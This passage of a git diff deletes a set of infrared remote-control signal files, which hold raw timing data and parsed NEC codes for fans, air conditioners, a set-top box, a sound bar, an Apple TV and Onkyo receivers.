-frequency: 38000 -duty_cycle: 0.330000 -data: 1282 431 1259 427 413 1272 1258 428 1251 435 415 1270 409 1275 1255 431 408 1250 440 1245 434 1276 414 8139 1277 408 1282 431 408 1276 1254 432 1258 428 412 1273 407 1251 1279 433 417 1241 439 1272 407 1251 439 8139 1288 399 1281 431 408 1250 1280 432 1258 401 439 1246 434 1251 1279 406 434 1251 439 1245 434 1250 440 8138 1279 408 1282 404 435 1249 1281 431 1259 400 439 1245 434 1250 1280 406 434 1277 413 1245 434 1250 440 8138 1278 408 1282 404 435 1249 1281 404 1286 400 439 1245 434 1250 1280 432 407 1277 413 1244 435 1276 414 8137 1279 407 1283 402 438 1247 1283 403 1277 436 414 1244 435 1249 1281 405 434 1249 441 1244 435 1249 441 8137 1279 433 1257 429 410 1274 1256 429 1261 425 414 1270 409 1275 1255 431 408 1276 414 1270 409 1275 415 8137 1279 406 1284 429 410 1273 1257 430 1260 426 413 1270 409 1275 1255 432 407 1276 414 1270 409 1249 441 -# -name: Temp_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1277 435 1255 431 408 1275 1255 431 1259 427 413 1271 1259 427 413 1271 408 1250 440 1244 435 1249 441 8136 1280 405 1285 427 413 1245 1285 427 1253 433 407 1277 1253 432 408 1250 440 1244 435 1249 441 1243 436 8140 1287 399 1281 405 434 1275 1255 431 1259 426 413 1244 1286 426 413 1244 435 1249 441 1243 436 1247 443 8134 1282 403 1276 435 415 1243 1276 435 1255 431 408 1249 1281 431 408 1275 415 1243 436 1248 442 1242 437 8138 1278 433 1257 402 438 1246 1284 428 1252 433 417 1267 1252 433 407 1250 440 1271 408 1249 441 1243 436 8139 1277 408 1282 430 409 1248 1282 430 1260 425 414 1270 1260 425 414 1243 436 1248 442 1242 437 1246 434 8142 1285 401 1279 433 407 1250 1280 432 1258 427 413 1245 1285 427 412 1271 408 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1251 1279 432 1258 428 412 1271 1259 427 413 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 412 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 413 1271 408 1249 441 1243 436 1248 442 8134 1282 403 1276 435 415 1268 1251 434 1256 430 409 1274 1256 429 410 1274 416 1267 413 1271 408 1249 441 8135 1281 404 1286 426 413 1244 1286 426 1253 432 407 1276 1254 431 408 1276 414 1269 410 1248 442 1242 437 8138 1278 407 1283 429 411 1273 1257 428 1251 434 416 1267 1252 433 407 1277 413 1244 435 1249 440 1243 436 8139 1277 408 1282 429 410 1273 1257 429 1250 435 415 1269 1250 434 416 1242 438 1246 433 1250 440 1244 435 8139 1277 408 1282 403 436 1248 1282 403 1277 435 415 1243 1276 408 442 1242 437 1247 433 1251 439 1244 435 8140 1287 399 1280 431 408 1249 1281 431 1259 426 413 1244 1286 425 414 1243 436 1248 442 1242 438 1246 433 8141 1286 399 1281 431 408 1249 1281 430 1260 426 413 1244 1286 425 414 1243 436 1248 442 1241 439 1246 433 8141 1286 399 1281 405 434 1276 1254 431 1259 426 413 1271 1259 426 413 1244 435 1248 442 1242 437 1247 443 -# -name: Rotate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1282 430 1260 427 412 1271 1259 427 1252 434 416 1268 411 1272 407 1277 1253 433 417 1267 412 1272 407 8144 1282 429 1250 436 414 1270 1260 426 1253 433 406 1277 413 1244 435 1276 1254 432 407 1276 414 1270 409 8142 1284 401 1278 434 416 1267 1252 434 1256 430 409 1247 443 1268 411 1272 1258 428 411 1273 406 1277 413 8138 1278 434 1256 430 409 1274 1256 430 1260 426 413 1270 409 1275 415 1269 1250 436 414 1270 409 1275 415 8136 1280 432 1258 428 411 1272 1258 428 1251 435 415 1268 411 1273 417 1267 1252 434 416 1268 411 1272 407 8144 1282 429 1261 426 413 1270 1260 426 1253 432 407 1276 414 1271 408 1275 1255 432 407 1276 414 1270 409 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1274 416 1268 411 1273 1256 430 409 1274 416 1268 411 8140 1286 425 1254 432 407 1276 1254 432 1258 428 411 1272 407 1277 413 1271 1259 427 412 1272 407 1276 414 8137 1279 432 1258 429 410 1273 1257 429 1250 436 414 1243 436 1273 417 1268 1251 434 416 1268 411 1272 407 8143 1283 428 1251 434 416 1268 1251 434 1256 430 409 1274 416 1267 412 1272 1258 428 411 1272 407 1277 413 8137 1279 433 1257 429 410 1273 1257 428 1251 435 415 1268 411 1272 407 1277 1253 433 406 1277 413 1271 408 8142 1284 427 1252 434 416 1267 1252 433 1257 429 410 1273 417 1267 412 1271 1259 427 412 1271 408 1276 414 8136 1280 432 1258 429 410 1273 1257 429 1250 435 415 1268 411 1273 406 1277 1253 433 417 1267 412 1271 408 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1273 417 1267 412 1272 1258 428 412 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1272 407 1250 1280 432 407 1277 413 1271 408 8142 1284 427 1252 433 406 1277 1253 433 1257 429 410 1273 417 1267 412 1271 1259 428 411 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1271 408 1276 1254 432 407 1276 414 1270 409 8141 1285 426 1253 432 407 1276 1254 432 1258 428 411 1272 407 1276 414 1270 1260 427 412 1271 408 1275 415 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Pelonis_PFS40D6ABB.ir b/assets/ir_optional_assets/optional-assets/ACs/Pelonis_PFS40D6ABB.ir deleted file mode 100644 index 961a6e6da..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Pelonis_PFS40D6ABB.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8982 4433 598 1657 570 519 594 547 566 522 591 549 575 540 573 541 572 542 571 543 570 1659 568 1635 592 1637 600 1655 572 1657 570 1660 566 1636 601 1654 572 1630 597 517 596 545 568 520 593 547 566 548 576 539 574 540 573 540 573 1629 598 1631 596 1633 593 1635 592 1637 600 1629 597 1631 596 1633 593 521 592 522 591 549 575 540 573 514 599 542 571 543 570 544 569 1659 568 1635 592 1637 600 1628 598 1630 597 1632 595 -# -name: Speed_Step -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8993 4428 593 1636 601 513 600 515 598 543 570 544 569 545 568 520 593 548 565 549 575 1628 598 1631 596 1633 593 1663 574 1628 598 1631 596 1633 593 1636 601 1628 598 1631 596 518 595 519 594 548 565 549 575 540 573 541 572 543 570 544 569 1634 592 1637 600 1629 598 1632 595 1635 592 1637 600 1630 597 1659 567 520 593 548 565 549 575 540 573 541 572 516 597 544 569 519 594 1635 592 1637 600 1655 572 1631 596 1633 594 -# -name: Rotate_Toggle -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8982 4437 594 1661 576 512 601 514 599 516 597 544 569 545 568 546 567 548 576 513 600 1630 597 1633 593 1637 600 1630 597 1633 593 1636 601 1628 598 1632 595 1635 592 523 601 514 599 1630 597 518 595 546 567 522 591 549 575 541 572 1631 596 1634 593 522 602 1654 572 1631 596 1635 592 1638 599 1631 596 519 594 520 593 1637 600 515 598 543 570 518 595 546 567 547 566 1637 600 1630 597 545 568 1635 592 1637 600 1630 597 -# -name: Timer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8990 4430 601 1628 598 517 596 519 594 547 566 549 574 540 573 542 571 544 569 546 567 1663 574 1628 598 1658 568 1662 575 1654 572 1658 568 1660 566 1663 574 1656 570 544 569 1660 566 548 575 539 574 541 572 542 571 544 569 545 568 1662 575 539 574 1656 570 1658 568 1661 565 1664 573 1656 570 1659 567 548 565 1664 573 542 571 543 570 545 568 546 567 548 565 549 574 1655 571 543 570 1659 567 1661 576 1628 598 1658 568 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Vornado/Vornado.ir b/assets/ir_optional_assets/optional-assets/ACs/Vornado/Vornado.ir deleted file mode 100644 index 70997b08d..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Vornado/Vornado.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1347 405 1322 422 410 1332 1300 448 1289 480 383 1303 445 1298 439 1331 417 1299 438 1332 416 1302 1320 6834 1292 456 1292 450 413 1304 1328 445 1292 452 411 1302 446 1297 440 1303 445 1298 439 1303 445 1301 1321 6806 1320 453 1295 422 441 1301 1321 454 1294 422 441 1301 436 1305 443 1300 448 1295 442 1301 447 1298 1324 6802 1324 451 1297 420 443 1299 1323 424 1324 419 444 1298 439 1304 444 1298 439 1304 444 1299 438 1306 1326 6815 1321 453 1295 421 442 1302 1320 426 1322 421 442 1301 436 1306 442 1301 447 1296 441 1301 447 1299 1323 6802 1324 424 1324 418 445 1300 1322 424 1324 419 444 1298 439 1304 444 1299 438 1304 444 1299 438 1306 1326 6809 1328 420 1317 424 439 1306 1326 419 1318 424 439 1304 444 1299 438 1305 443 1299 438 1305 443 1302 1320 -# -name: Speed -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1321 456 1292 453 410 1334 1319 428 1288 454 409 1332 416 1353 384 1359 389 1354 383 1335 1297 476 387 7681 1329 474 1263 452 411 1304 1328 447 1290 479 384 1303 444 1299 438 1304 444 1300 437 1307 1325 473 390 7680 1320 455 1292 450 413 1303 1329 445 1292 451 412 1301 447 1296 441 1302 446 1297 440 1305 1327 445 418 7679 1321 479 1269 448 415 1301 1321 454 1294 422 441 1299 438 1305 443 1300 448 1295 442 1303 1319 454 409 7703 1328 445 1292 451 412 1304 1328 446 1291 424 439 1303 445 1297 440 1303 445 1298 439 1306 1326 419 444 7680 1320 454 1294 449 414 1302 1320 455 1293 422 441 1301 447 1296 441 1301 447 1296 441 1304 1328 417 436 7688 1322 452 1296 420 443 1300 1322 426 1322 420 443 1299 438 1304 444 1299 438 1304 444 1302 1320 425 438 7686 1324 450 1298 418 445 1298 1324 424 1324 418 445 1297 440 1302 446 1297 440 1302 445 1300 1321 451 412 7684 1326 448 1300 417 436 1306 1326 422 1326 416 437 1306 442 1300 448 1295 442 1301 447 1298 1324 422 441 7682 1328 446 1291 426 437 1305 1327 420 1317 425 438 1304 444 1299 438 1304 444 1299 438 1307 1325 420 443 -# -name: Timer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1296 454 1294 422 441 1304 1318 427 1321 422 441 1302 446 1297 440 1305 1317 426 437 1306 442 1301 436 7690 1321 424 1324 419 444 1301 1321 424 1324 420 443 1299 438 1304 444 1302 1320 423 440 1302 446 1297 440 7686 1325 420 1317 426 437 1308 1324 420 1317 426 437 1305 443 1300 437 1308 1324 419 444 1298 439 1304 444 7682 1318 427 1321 422 441 1304 1318 427 1321 423 471 1271 466 1277 471 1274 1317 427 467 1275 472 1270 467 7675 1325 420 1317 426 468 1277 1324 421 1316 427 436 1306 442 1301 467 1278 1323 420 443 1300 437 1305 474 7653 1316 429 1319 425 438 1306 1326 420 1317 425 438 1305 443 1300 437 1308 1324 419 444 1298 439 1304 443 7682 1318 427 1321 423 440 1305 1317 428 1320 423 471 1272 465 1277 439 1306 1316 427 467 1276 440 1302 446 7680 1320 426 1322 421 473 1272 1318 426 1322 422 472 1270 467 1276 472 1273 1317 426 468 1274 474 1269 468 7658 1321 424 1324 420 464 1281 1320 425 1354 389 464 1279 469 1274 474 1272 1318 424 470 1273 464 1279 468 7657 1322 423 1325 418 466 1280 1352 392 1345 400 463 1278 469 1273 464 1281 1351 394 469 1271 466 1277 470 7656 1323 422 1315 427 467 1278 1344 401 1347 399 464 1276 471 1272 465 1280 1321 422 472 1270 467 1276 472 7654 1325 421 1316 426 437 1308 1324 421 1316 427 436 1307 441 1302 445 1299 1323 421 442 1300 468 1274 474 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Whynter/Whynter_AC.ir b/assets/ir_optional_assets/optional-assets/ACs/Whynter/Whynter_AC.ir deleted file mode 100644 index 01c00ea61..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Whynter/Whynter_AC.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power_on -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 782 708 2923 2885 777 2176 748 2232 775 2152 782 736 752 2176 779 711 777 2179 776 2178 746 2181 774 744 754 737 771 720 778 713 775 716 782 737 751 740 779 712 828 717 833 657 779 713 775 2180 775 716 782 2173 772 720 778 2177 778 713 775 2180 775 716 772 2183 751 740 748 2180 775 715 835 -# -name: Power_off -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 781 710 2930 2876 775 716 781 735 752 2175 779 711 776 2177 746 745 773 2232 753 2173 749 768 750 2177 745 745 773 743 754 737 750 741 746 744 754 737 771 746 751 739 748 2178 776 742 755 2172 771 719 778 2227 747 744 754 2200 754 737 750 2203 751 741 746 2181 773 744 753 737 750 741 746 -# -name: Auto -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 752 739 2922 2911 729 2173 780 2173 749 2204 750 742 755 2172 782 736 751 2229 745 2208 756 2172 771 746 751 740 747 744 753 738 749 742 776 741 746 746 751 739 748 744 774 2179 754 738 749 2206 747 743 754 2225 780 738 749 2178 775 716 781 2173 749 742 776 2179 754 737 750 742 776 742 745 -# -name: AC -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 753 739 2922 2910 720 2182 824 2182 751 2176 778 739 748 2179 775 2179 754 2173 781 2173 749 742 776 741 746 745 753 738 749 742 776 715 772 745 752 739 748 795 754 737 750 2203 751 741 746 2182 772 745 752 2176 778 739 748 2180 774 744 753 2174 748 743 775 2179 754 2200 754 764 775 742 756 -# -name: Humidifier -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 774 717 2923 2883 778 2175 747 2206 748 2180 753 738 770 2183 750 742 745 2208 808 2171 751 766 752 739 748 2179 775 742 755 736 751 740 747 744 753 737 771 747 750 741 746 2180 774 744 753 2174 780 712 775 2179 806 738 749 2205 749 742 745 2209 755 736 751 2177 777 2177 745 2208 756 736 751 -# -name: Fan -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 779 712 2928 2877 773 2180 753 739 748 2205 748 743 754 2199 755 736 751 2176 777 2229 755 735 752 2202 751 740 747 744 753 738 770 722 775 742 755 736 751 740 747 744 774 2179 754 738 770 2184 749 743 754 2199 754 737 802 2178 775 743 754 2173 749 742 776 742 755 736 751 740 747 745 752 -# -name: Fan_speed -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 755 710 2951 2859 781 2175 779 713 785 2172 771 721 776 2179 754 738 770 2159 784 2172 782 709 778 2231 754 738 780 712 775 717 780 711 776 743 755 738 780 711 776 716 781 2176 778 714 783 2174 780 712 775 2182 751 741 777 2179 754 790 801 2128 784 708 779 740 757 735 752 740 778 714 836 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 775 718 2933 2878 773 2183 750 2179 775 2207 778 742 756 2172 782 2175 779 2150 783 737 750 743 775 743 755 764 723 743 755 738 749 743 776 744 754 739 748 744 754 739 779 2229 756 736 751 2178 776 744 754 2176 778 716 782 2174 780 740 747 2182 751 742 776 2179 754 2176 778 742 756 2174 780 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 746 745 2927 2882 748 2180 774 2207 778 2202 752 740 747 2181 752 2229 725 2203 751 2204 729 736 772 747 751 741 746 745 753 739 748 743 776 742 756 736 751 740 747 745 805 2202 752 740 747 2181 773 746 752 2176 778 715 772 2182 772 720 777 2177 746 746 772 2182 751 2178 776 742 756 736 803 diff --git a/assets/ir_optional_assets/optional-assets/ACs/Zenith/Zenith_AC.ir b/assets/ir_optional_assets/optional-assets/ACs/Zenith/Zenith_AC.ir deleted file mode 100644 index 3961eecab..000000000 --- a/assets/ir_optional_assets/optional-assets/ACs/Zenith/Zenith_AC.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 81 7E 00 00 -# -name: Temp_down -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 8A 75 00 00 -# -name: Temp_up -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 85 7A 00 00 -# -name: Fan_speed -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 99 66 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9F 60 00 00 -# -name: Mode -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9B 64 00 00 -# -name: Energy_saver -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 82 7D 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Amino_amigo.ir b/assets/ir_optional_assets/optional-assets/Amino_amigo.ir deleted file mode 100644 index 3bcdc1fd9..000000000 --- a/assets/ir_optional_assets/optional-assets/Amino_amigo.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2677 903 422 466 421 467 430 901 424 880 1374 902 423 464 423 465 422 466 421 467 430 457 430 458 867 909 426 462 425 463 424 464 871 460 427 461 426 462 425 907 867 465 422 910 874 458 429 902 423 465 422 466 431 457 430 458 867 465 422 909 427 462 425 -# -name: Home -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2675 905 420 467 430 458 429 903 422 909 1345 904 421 466 431 457 430 458 429 459 428 460 427 462 873 902 423 465 422 466 421 467 869 463 424 464 423 909 426 461 874 458 429 903 871 461 426 906 429 459 428 460 427 461 874 458 429 875 450 465 422 467 430 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2673 907 428 460 427 461 426 906 429 875 1368 907 428 459 428 461 426 462 425 463 424 464 423 465 870 905 430 458 429 459 428 460 875 457 430 430 457 459 428 904 870 463 424 907 867 466 431 900 425 464 423 465 422 466 421 467 868 464 423 465 422 466 421 -# -name: Apps -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2676 877 448 467 430 458 429 903 422 909 1345 904 421 467 430 458 429 459 428 460 427 461 426 462 873 903 422 466 421 467 430 458 867 465 422 466 421 911 424 463 872 460 427 905 869 463 424 908 427 461 874 901 873 903 871 906 429 458 428 -# -name: Guide -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2678 902 423 464 423 465 422 883 453 879 1365 911 424 463 424 436 451 465 422 466 421 467 430 458 867 880 456 460 427 461 426 462 873 431 456 460 427 461 426 878 896 436 451 881 893 439 458 874 451 436 900 905 431 457 868 436 451 881 455 461 426 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2676 904 422 466 421 467 430 901 424 880 1375 873 453 463 424 464 423 437 450 438 449 439 458 457 868 907 429 459 428 460 427 433 893 467 430 457 430 874 452 437 899 460 427 877 897 463 424 880 456 432 894 910 875 429 458 874 451 464 423 465 422 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2676 904 421 466 421 467 430 901 424 908 1347 901 424 463 424 464 423 465 422 466 421 466 421 439 897 907 429 459 428 460 427 433 892 467 430 430 457 458 429 875 899 461 426 906 868 463 424 880 456 432 894 910 875 457 430 874 900 904 421 69083 2677 904 421 466 421 467 430 901 424 907 1348 901 424 463 424 464 423 437 450 465 422 466 421 467 869 879 457 459 428 460 427 461 864 439 458 430 457 431 456 876 898 461 426 878 896 436 451 908 428 460 865 911 874 430 457 903 871 877 448 69084 2676 904 421 466 421 467 430 874 451 880 1375 901 424 463 424 436 451 437 450 466 421 467 430 457 868 908 428 432 455 460 427 461 875 457 430 458 429 431 456 876 898 433 454 906 868 436 451 880 456 460 865 883 902 458 429 875 899 904 422 -# -name: Ok -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2669 911 425 463 424 436 451 908 428 876 1368 908 428 460 427 461 426 462 425 462 425 463 424 464 872 876 449 467 430 429 458 458 867 464 423 465 422 910 426 462 874 458 429 875 899 433 454 878 458 457 868 880 894 466 421 466 431 873 452 435 452 69081 2675 905 420 467 430 457 430 874 451 909 1346 902 423 464 423 465 422 466 421 467 430 457 430 430 895 881 455 460 427 433 454 462 874 458 429 459 428 876 449 466 870 434 453 907 867 465 422 882 454 462 874 902 872 459 428 460 427 905 431 429 458 69075 2671 909 427 461 426 434 453 879 457 875 1369 879 457 458 429 432 455 432 455 433 454 434 453 462 874 902 423 437 450 438 449 439 897 462 425 463 424 881 455 460 865 467 430 873 901 459 428 876 449 466 870 906 868 464 423 465 422 882 454 434 453 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2677 904 421 466 421 467 430 901 424 908 1346 873 452 436 451 437 450 465 422 466 421 439 458 457 868 880 456 432 455 461 426 462 874 458 429 459 428 432 455 877 897 435 452 879 895 465 422 882 454 462 874 902 872 432 455 877 897 462 425 69524 2669 911 425 463 424 463 424 880 456 904 1340 880 456 460 427 433 454 462 425 435 452 463 424 464 872 877 448 439 458 457 430 430 895 465 422 438 449 466 431 901 873 431 456 903 871 461 426 906 430 430 895 909 865 466 431 901 873 459 428 69520 2673 907 429 459 428 460 427 877 459 873 1371 905 431 429 458 458 429 459 428 460 427 461 426 461 875 902 423 436 451 465 422 438 898 462 425 463 424 464 423 908 866 439 458 901 873 459 428 904 421 466 870 906 868 464 423 909 865 466 421 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2678 902 423 464 423 465 422 882 454 906 1338 910 426 462 425 463 424 464 423 465 422 438 449 467 869 907 429 459 428 460 427 461 875 457 430 458 429 875 450 466 870 462 425 907 867 437 450 882 454 434 902 902 872 460 427 877 459 457 868 -# -name: Back -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2673 907 429 459 428 460 427 905 420 911 1343 905 431 457 430 458 429 459 428 460 427 461 426 462 874 902 423 464 423 465 422 466 870 435 452 463 424 464 423 881 893 467 430 901 873 459 428 904 421 467 430 457 430 430 457 459 428 460 427 433 903 457 430 diff --git a/assets/ir_optional_assets/optional-assets/Amz_snd_bar.ir b/assets/ir_optional_assets/optional-assets/Amz_snd_bar.ir deleted file mode 100644 index e02deae59..000000000 --- a/assets/ir_optional_assets/optional-assets/Amz_snd_bar.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 09 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 45 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 1B 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 51 00 00 00 -# -name: Play_pause -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 46 00 00 00 -# -name: Rca -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 5D 00 00 00 -# -name: Aux -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 0E 00 00 00 -# -name: Opt -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 0D 00 00 00 -# -name: Bluetooth -type: parsed -protocol: NEC -address: 35 00 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Apple_tv.ir b/assets/ir_optional_assets/optional-assets/Apple_tv.ir deleted file mode 100644 index 06b4d39b7..000000000 --- a/assets/ir_optional_assets/optional-assets/Apple_tv.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Apple_ok -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 8E 00 00 -# -name: Apple_up -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 0B 8E 00 00 -# -name: Apple_dwn -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 0D 8E 00 00 -# -name: Apple_lft -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 08 8E 00 00 -# -name: Apple_right -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 07 8E 00 00 -# -name: Apple_menu -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 8E 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo.ir b/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo.ir deleted file mode 100644 index a207d4051..000000000 --- a/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CB 34 00 00 -# -name: Bluray -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 73 00 00 -# -name: Cbl_sat -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E F1 00 00 -# -name: Game -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D F2 00 00 -# -name: Streambox -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0C F3 00 00 -# -name: Pc -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9C 63 00 00 -# -name: Aux -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 60 00 00 -# -name: Cd -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 F6 00 00 -# -name: Tv -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 48 B7 00 00 -# -name: Phono -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A F5 00 00 -# -name: Tuner -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B F4 00 00 -# -name: Ble -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 0E 00 00 -# -name: Settings -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DB 24 00 00 -# -name: Info -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 AA 00 00 -# -name: Back -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 54 AB 00 00 -# -name: Quick_menu -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 53 AC 00 00 -# -name: Up -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 7D 00 00 -# -name: Down -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 7C 00 00 -# -name: Left -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 7B 00 00 -# -name: Right -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 7A 00 00 -# -name: Vol_up -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 FD 00 00 -# -name: Vol_down -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 FC 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 FA 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 68 00 00 -# -name: Mode -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D3 2C 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir b/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir deleted file mode 100644 index bb245938e..000000000 --- a/assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 04 FB 00 00 -# -name: Standby -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 47 B8 00 00 -# -name: VolUp -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 02 FD 00 00 -# -name: VolDown -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 03 FC 00 00 -# -name: InputUp -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 1E E1 00 00 -# -name: InputDown -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 1F E0 00 00 -# -name: Muting -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 05 FA 00 00 -# -name: Dimmer -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 95 6A 00 00 -# -name: Display -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 55 AA 00 00 -# -name: Play -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 1B E4 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 1F E0 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 1C E3 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 8B 74 00 00 -# -name: FF -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 8A 75 00 00 -# -name: Back -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 1E E1 00 00 -# -name: Forward -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 1D E2 00 00 -# -name: Random -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 57 A8 00 00 -# -name: Repeat -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 56 A9 00 00 -# -name: Scroll -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 12 ED 00 00 -# -name: PlaylistUp -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 52 AD 00 00 -# -name: PlaylistDn -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 53 AC 00 00 -# -name: AlbumUp -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 50 AF 00 00 -# -name: AlbumDn -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 51 AE 00 00 -# -name: Band -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 8A 75 00 00 